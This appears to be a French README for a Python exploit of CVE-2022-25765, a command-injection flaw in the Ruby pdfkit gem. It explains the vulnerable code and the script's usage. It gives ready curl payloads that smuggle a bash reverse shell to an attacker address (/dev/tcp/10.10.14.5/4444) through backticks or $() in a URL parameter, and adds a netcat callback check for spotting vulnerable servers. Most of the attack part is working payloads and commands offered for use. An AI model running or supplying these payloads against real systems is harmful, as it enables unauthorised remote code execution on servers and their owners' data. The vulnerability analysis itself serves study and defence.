
Exploit Python pour l'injection de commandes CVE-2022-25765 dans pdfkit, permettant l'exécution de code à distance via des URL malveillantes avec des modes de shell inversé et de commande personnalisée.
CVE-2022-25765 est une vulnérabilité d'injection de commandes (Command Injection) affectant pdfkit (gem Ruby) dans les versions < 0.8.7.2. La vulnérabilité a une sévérité CRITIQUE avec un CVSS 9.8, car elle permet l'exécution de commandes à distance sans authentification.
Le problème réside dans le fait que pdfkit passe le paramètre url directement au shell sans assainissement. La bibliothèque exécute en interne wkhtmltopdf avec une commande similaire à :
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")
Si l'URL contient %20 (espace URL-encodé) suivi de backticks ` ou $(), le shell interprète le contenu comme une commande et l'exécute.
CVSS 3.1 : 9.8 (CRITIQUE) —
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Champ | Valeur |
|---|---|
| CVE | CVE-2022-25765 |
| Produit | pdfkit (gem Ruby) |
| Versions affectées | 0.0.0 – 0.8.7.2 |
| Type | Command Injection (CWE-78) |
| Authentification | Non requise |
| CVSS 3.1 | 9.8 CRITIQUE |
| Correctif | pdfkit ≥ 0.8.7.2 |
Le code vulnérable dans pdfkit (source.rb:44-50) :
def command
args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
"wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end
L'URL est interpolée directement dans la commande shell sans assainissement. En incluant %20 (espace), le contenu après l'espace s'échappe du contexte de l'argument de wkhtmltopdf et un \`` ou $()` permet d'exécuter des commandes arbitraires.
L'exploit original se trouve sur :
requests, urllib3pip install -r requirements.txt
# Mode commande personnalisée (génère un payload)
python3 exploit-CVE-2022-25765.py -c "whoami"
# Mode reverse shell (génère un payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444
# Mode web — envoie la commande directement au site vulnérable
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url
# Mode web — reverse shell directe vers le site vulnérable
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url
# Aide
python3 exploit-CVE-2022-25765.py -h
| Paramètre | Description |
|---|---|
-c | Commande personnalisée |
-s <IP> <PORT> | Mode reverse shell |
-w <URL> | URL du site web vulnérable (optionnel) |
-p <param> | Paramètre POST (optionnel, défaut : url) |
-h | Aide |
# Injection via curl
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"
# Ou en utilisant $() à la place des backticks
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"
# Commande simple
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`id\`"
Pour identifier si un serveur est vulnérable :
Creator: pdfkit v0.8.6# Envoyer une URL et recevoir un callback
curl -X POST http://target.com/ -d "url=http://TON_IP:4444/test"
# Listener : nc -lnvp 4444
# Si tu reçois la requête avec User-Agent: wkhtmltopdf, l'application convertit les PDFs
# Vérifier la version dans les métadonnées du PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Chercher : "Generated by pdfkit v0.8.6" (vulnérable)
url pour supprimer les caractères dangereux (\``, $(), %20`)